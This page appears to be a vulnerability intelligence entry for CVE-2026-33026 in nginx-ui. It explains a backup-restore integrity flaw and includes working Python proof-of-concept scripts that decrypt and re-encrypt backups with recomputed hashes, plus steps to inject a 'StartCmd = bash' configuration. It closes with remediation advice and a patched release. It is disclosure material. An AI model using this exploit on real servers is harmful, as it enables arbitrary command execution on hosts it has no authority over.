Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-33026 is a critical severity vulnerability with a CVSS score of 9.1. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
The nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.
The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (hash_info.txt) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.
Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.
The backup system is built around the following workflow:
nginx-ui.zip and nginx.zip.hash_info.txt.This architecture creates a circular trust model:
Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.
backup_crypto.go| Vendor | Product |
|---|---|
| Nginxui | Nginx Ui |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
backup.gorestore.goSystemRestoreContent.vueGenerate a backup and extract the security token (Key and IV) from the HTTP response headers or the .key file.
<img width="1483" height="586" alt="image" src="https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f" />
Decrypt the nginx-ui.zip archive using the obtained token.
import base64
import os
import sys
import zipfile
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted_data)
return unpad(decrypted, AES.block_size)
def process_local_backup(file_path, token, output_dir):
key_b64, iv_b64 = token.split(":")
os.makedirs(output_dir, exist_ok=True)
print(f"[*] File processing: {file_path}")
with zipfile.ZipFile(file_path, 'r') as main_zip:
main_zip.extractall(output_dir)
files_to_decrypt = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]
for filename in files_to_decrypt:
path = os.path.join(output_dir, filename)
if os.path.exists(path):
with open(path, "rb") as f:
encrypted = f.read()
decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)
out_path = path + ".decrypted"
with open(out_path, "wb") as f:
f.write(decrypted)
print(f"[*] Successfully decrypted: {out_path}")
# Manual config
BACKUP_FILE = "backup-20260314-151959.zip"
TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
OUTPUT = "decrypted"
if __name__ == "__main__":
process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)
app.ini to inject malicious configuration (e.g., StartCmd = bash).hash_info.txt with the new, legitimate-looking hashes for the modified files.import base64
import hashlib
import os
import zipfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def encrypt_file(data, key_b64, iv_b64):
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.encrypt(pad(data, AES.block_size))
def build_rebuilt_backup(files, token, output_filename="backup_rebuild.zip"):
key_b64, iv_b64 = token.split(":")
encrypted_blobs = {}
for fname in files:
with open(fname, "rb") as f:
data = f.read()
blob = encrypt_file(data, key_b64, iv_b64)
target_name = fname.replace(".decrypted", "")
encrypted_blobs[target_name] = blob
print(f"[*] Cipher {target_name}: {len(blob)} bytes")
hash_content = ""
for name, blob in encrypted_blobs.items():
h = hashlib.sha256(blob).hexdigest()
hash_content += f"{name}: {h}\n"
encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)
encrypted_blobs["hash_info.txt"] = encrypted_hash_info
with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:
for name, blob in encrypted_blobs.items():
zf.writestr(name, blob)
print(f"\n[*] Backup rebuild: {output_filename}")
print(f"[*] Verificando integridad...")
TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]
if __name__ == "__main__":
build_rebuilt_backup(FILES, TOKEN)
Upload the tampered backup to the nginx-ui restore interface.
<img width="1059" height="290" alt="image" src="https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a" />
Observation: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host. <img width="1316" height="627" alt="image" src="https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6" />
An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.
Potential impacts include:
The severity depends on the restore permissions and deployment configuration.
Introduce a trusted integrity root Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include:
Enforce integrity verification The restore operation must abort if hash verification fails.
Avoid circular trust models If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.
Optional cryptographic improvements While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.
This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.
The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.
The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.
As a result, the fundamental integrity weakness remains exploitable even after the previous fix.
A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.